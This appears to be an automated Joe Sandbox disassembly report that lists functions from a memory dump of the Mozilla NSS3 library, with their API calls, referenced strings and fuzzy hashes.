Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 60b426530ff36ffbf86988b5e13e7a8ed903f190d1b31fc6ffcd538e8fd0d996
Instruction ID: e258a8c55042fe060cf41f0b8592d51a8cf3b4c288f12b7642d5d5d224541ae1
Opcode Fuzzy Hash: 60b426530ff36ffbf86988b5e13e7a8ed903f190d1b31fc6ffcd538e8fd0d996
Instruction Fuzzy Hash: 6EA104B2D658458BF711862DDE1135832E2BBC3335FE4C365FC3186AD6DBB6A4609381

Function 6CFD5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CFD5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CFD5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CFD5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CFD5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CFD5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CFD5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CFD5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFD5F89
free.MOZGLUE(?), ref: 6CFD5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFD5FB6
free.MOZGLUE(00000000), ref: 6CFD5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFD600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFD6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFD6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFD6094

Strings

, xrefs: 6CFD5EEB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 782c3de82a86d713fa905dc63a272de578609939318f90679e4e5714c6155b02
Instruction ID: 2f30760065b6b0f5b37682ac662bf3c8995e1010b7441e205a6f64a5715b67ac
Opcode Fuzzy Hash: 782c3de82a86d713fa905dc63a272de578609939318f90679e4e5714c6155b02
Instruction Fuzzy Hash: 1E81D3F2E042059BEB008E64DC85BAE77B5EF44318F1E4528E959EB791E731F9048B92

Function 6CFB1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CFB2007
calloc.MOZGLUE(00000001,00000084), ref: 6CFB2077
calloc.MOZGLUE(00000001,0000002C), ref: 6CFB20DF
TlsSetValue.KERNEL32(00000000), ref: 6CFB2188
PR_NewCondVar.NSS3 ref: 6CFB21B7
calloc.MOZGLUE(00000001,00000084), ref: 6CFB221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CFB22C2
GetLastError.KERNEL32 ref: 6CFB22CD
free.MOZGLUE(00000000), ref: 6CFB22DD

Part of subcall function 6CFB0F00: PR_GetPageSize.NSS3(6CFB0936,FFFFE8AE,?,6CF416B7,00000000,?,6CFB0936,00000000,?,6CF4204A), ref: 6CFB0F1B
Part of subcall function 6CFB0F00: PR_NewLogModule.NSS3(clock,6CFB0936,FFFFE8AE,?,6CF416B7,00000000,?,6CFB0936,00000000,?,6CF4204A), ref: 6CFB0F25

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: be489716882b5637e2c0eda142b00b6366b15c81527f3ce326ccf438de1b3c17
Instruction ID: 9c2a5e1b9496aad505652e3d390f66e924ee4160df94a4443ab1934fbe467b3e
Opcode Fuzzy Hash: be489716882b5637e2c0eda142b00b6366b15c81527f3ce326ccf438de1b3c17
Instruction Fuzzy Hash: E991B1B16017019FEB20DF79EC0975BBAF4BF06704F10452DE45AE6A40EBB29488CF96

Function 6CFF4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CFF4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF4EC7

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CFF4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CFF4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CFF4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CFF4F68

Strings

(CK_INVALID_HANDLE), xrefs: 6CFF4EC0, 6CFF4F13
pTemplate = 0x%p, xrefs: 6CFF4F4A
nm, xrefs: 6CFF4F82, 6CFF4FB2
C_GetAttributeValue, xrefs: 6CFF4E7E
ulCount = %d, xrefs: 6CFF4F63
hObject = 0x%x, xrefs: 6CFF4EF5, 6CFF4F05
hSession = 0x%x, xrefs: 6CFF4EA2, 6CFF4EB2

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nm
API String ID: 1003633598-3193758724
Opcode ID: a2f00f622c10d912fb4688be0150b311856b651eb59af3c6414b953c92e297d3
Instruction ID: 5f8ff55136c85d178e1a754d7ec64b8d570e53d62407d1a512d8da098f13861e
Opcode Fuzzy Hash: a2f00f622c10d912fb4688be0150b311856b651eb59af3c6414b953c92e297d3
Instruction Fuzzy Hash: 74412471501204BFFB008F54EE45FAE7BB5EB8230CF058029F51C672A2D7B59985CBA2

Function 6CFF4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CFF4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF4D37

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CFF4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CFF4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CFF4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CFF4E20

Strings

C_GetObjectSize, xrefs: 6CFF4CEE
pulSize = 0x%p, xrefs: 6CFF4DB7
(CK_INVALID_HANDLE), xrefs: 6CFF4D30, 6CFF4D83
nm, xrefs: 6CFF4DD4, 6CFF4DFF
*pulSize = 0x%x, xrefs: 6CFF4E1B
hObject = 0x%x, xrefs: 6CFF4D65, 6CFF4D75
hSession = 0x%x, xrefs: 6CFF4D12, 6CFF4D22

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nm
API String ID: 1003633598-2872691469
Opcode ID: dbaf4ed33418a30b103e96d6ca93a6351429c120795d7ef65b0201a03e743576
Instruction ID: 4bc94e43260c73453a6d2135a155b3d1b931d0ba4e7e811e685a8beaa0cb83dd
Opcode Fuzzy Hash: dbaf4ed33418a30b103e96d6ca93a6351429c120795d7ef65b0201a03e743576
Instruction Fuzzy Hash: 9241E571505204BFFB108F54EE89F6E7B75EB4230DF058029F9186B262DBB29985CB72

Function 6CFF7C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CFF7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFF7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFF7CF3

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFF7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CFF7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CFF7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CFF7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CFF7D77

Strings

ulSignatureLen = %d, xrefs: 6CFF7D72
C_Verify, xrefs: 6CFF7CB1
ulDataLen = %d, xrefs: 6CFF7D40
(CK_INVALID_HANDLE), xrefs: 6CFF7CEC
pData = 0x%p, xrefs: 6CFF7D25
nm, xrefs: 6CFF7D8F, 6CFF7DC3
pSignature = 0x%p, xrefs: 6CFF7D59
hSession = 0x%x, xrefs: 6CFF7CCE, 6CFF7CDE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nm
API String ID: 1003633598-1268876508
Opcode ID: c81d80ee3aa47855cfaf6a116046d578124f88b129de768633ce5c0d81ee1f58
Instruction ID: 3fb25d02b71626052996b3ee91497a21e5fbecebf81b9dffa0a1024408d72d91
Opcode Fuzzy Hash: c81d80ee3aa47855cfaf6a116046d578124f88b129de768633ce5c0d81ee1f58
Instruction Fuzzy Hash: 3031E671501205BFEB109F54ED49F6EBBB1EB42318F894026F51C67222D7B2D986CBB2

Function 6D0D9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6D0D9C70
PR_NewLock.NSS3 ref: 6D0D9C85

Part of subcall function 6D0898D0: calloc.MOZGLUE(00000001,00000084,6CFB0936,00000001,?,6CFB102C), ref: 6D0898E5

PR_NewCondVar.NSS3(00000000), ref: 6D0D9C96

Part of subcall function 6CFABB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CFB21BC), ref: 6CFABB8C

PR_NewLock.NSS3 ref: 6D0D9CA9

Part of subcall function 6D0898D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6D089946
Part of subcall function 6D0898D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF416B7,00000000), ref: 6D08994E
Part of subcall function 6D0898D0: free.MOZGLUE(00000000), ref: 6D08995E

PR_NewLock.NSS3 ref: 6D0D9CB9
PR_NewLock.NSS3 ref: 6D0D9CC9
PR_NewCondVar.NSS3(00000000), ref: 6D0D9CDA

Part of subcall function 6CFABB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFABBEB
Part of subcall function 6CFABB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CFABBFB
Part of subcall function 6CFABB80: GetLastError.KERNEL32 ref: 6CFABC03
Part of subcall function 6CFABB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CFABC19
Part of subcall function 6CFABB80: free.MOZGLUE(00000000), ref: 6CFABC22

PR_NewCondVar.NSS3(?), ref: 6D0D9CF0
PR_NewPollableEvent.NSS3 ref: 6D0D9D03

Part of subcall function 6D0CF3B0: PR_CallOnce.NSS3(6D1214B0,6D0CF510), ref: 6D0CF3E6
Part of subcall function 6D0CF3B0: PR_CreateIOLayerStub.NSS3(6D12006C), ref: 6D0CF402
Part of subcall function 6D0CF3B0: PR_Malloc.NSS3(00000004), ref: 6D0CF416
Part of subcall function 6D0CF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6D0CF42D
Part of subcall function 6D0CF3B0: PR_SetSocketOption.NSS3(?), ref: 6D0CF455
Part of subcall function 6D0CF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6D0CF473

Part of subcall function 6D089890: TlsGetValue.KERNEL32(?,?,?,6D0897EB), ref: 6D08989E

EnterCriticalSection.KERNEL32(?), ref: 6D0D9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6D0D9DAF
_PR_CreateThread.NSS3(00000000,6D0D9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0D9D9F

Part of subcall function 6CFAB3C0: TlsGetValue.KERNEL32 ref: 6CFAB403
Part of subcall function 6CFAB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CFAB459

_PR_CreateThread.NSS3(00000000,6D0DA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0D9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6D0D9DFC
_PR_CreateThread.NSS3(00000000,6D0DA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6D0D9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6D0D9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6D0D9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0D9E89

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: eabd9579d69c78c7652b99234e331e1cd5ed85885a17c1f513ff055cad429ed1
Instruction ID: 5188b89f5123b277aa4d9f7271e23b5c4ec8316ee59f690e0073a83a2b96885f
Opcode Fuzzy Hash: eabd9579d69c78c7652b99234e331e1cd5ed85885a17c1f513ff055cad429ed1
Instruction Fuzzy Hash: B1615DB1900706AFE711DF75E854A67BBF8FF09208B04453AE85AC7751EB70E914CBA1

Function 6CFD3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CFD4014

Part of subcall function 6CFD39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CFD5E6F,?), ref: 6CFD3A08
Part of subcall function 6CFD39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CFD5E6F), ref: 6CFD3A1C
Part of subcall function 6CFD39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFD3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CFD4038

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CFD404D

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6D0EA0F4), ref: 6CFD40C2

Part of subcall function 6D01F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6D01F0C8
Part of subcall function 6D01F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D01F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CFD409A

Part of subcall function 6D01BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFCE708,00000000,00000000,00000004,00000000), ref: 6D01BE6A
Part of subcall function 6D01BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFD04DC,?), ref: 6D01BE7E
Part of subcall function 6D01BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D01BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFD40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFD4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CFD411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CFD4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CFD4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6D0EA1C8), ref: 6CFD417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CFD4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CFD41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFD41B2
PK11_DestroyObject.NSS3(?,?), ref: 6CFD41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFD41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6D0EA1A8), ref: 6CFD422D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 142e2a848e8b46e69a0de733bceaf47eb498027ef069b5c81722e36981c54916
Instruction ID: 24cef6402ec189004e6b8d59ae06af8caa7f08cca80e4f1f7a226687ef44b1af
Opcode Fuzzy Hash: 142e2a848e8b46e69a0de733bceaf47eb498027ef069b5c81722e36981c54916
Instruction Fuzzy Hash: 0151FBB5A083016BF7109B659C42F277EDC9F5534CF0B0529EA59C7A82F731F5048662

Function 6D018E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6D018E01,00000000,6D019060,6D120B64), ref: 6D018E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6D018E01,00000000,6D019060,6D120B64), ref: 6D018E9E
PORT_ArenaAlloc_Util.NSS3(6D120B64,00000001,?,?,?,?,6D018E01,00000000,6D019060,6D120B64), ref: 6D018EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6D018E01,00000000,6D019060,6D120B64), ref: 6D018EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6D018E01,00000000,6D019060,6D120B64), ref: 6D018ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6D018E01,00000000,6D019060,6D120B64), ref: 6D018EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6D018E01), ref: 6D018EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6D120B64,6D120B64), ref: 6D018F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6D018F3F

Part of subcall function 6D01A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6D01A421,00000000,00000000,6D019826), ref: 6D01A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D01904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6D018E76

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 209ac3670cc1f575519208b5929e9c7e78e537c5b81277bdd3c935e0f15ca747
Instruction ID: f0d6b0842ce5f1bcd680810f22553ce7e3ef184ccc08a2be57150756e47a419f
Opcode Fuzzy Hash: 209ac3670cc1f575519208b5929e9c7e78e537c5b81277bdd3c935e0f15ca747
Instruction Fuzzy Hash: 8C618FB5D08206AFEB11CF95DC80BAFB7BAFF84354F154128DD28A7241E731A915CBA1

Function 6CFC8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFC8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CFC8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFC8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6D0F18D0,?), ref: 6CFC8F03
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFC8F19
PL_FreeArenaPool.NSS3(?), ref: 6CFC8F2B
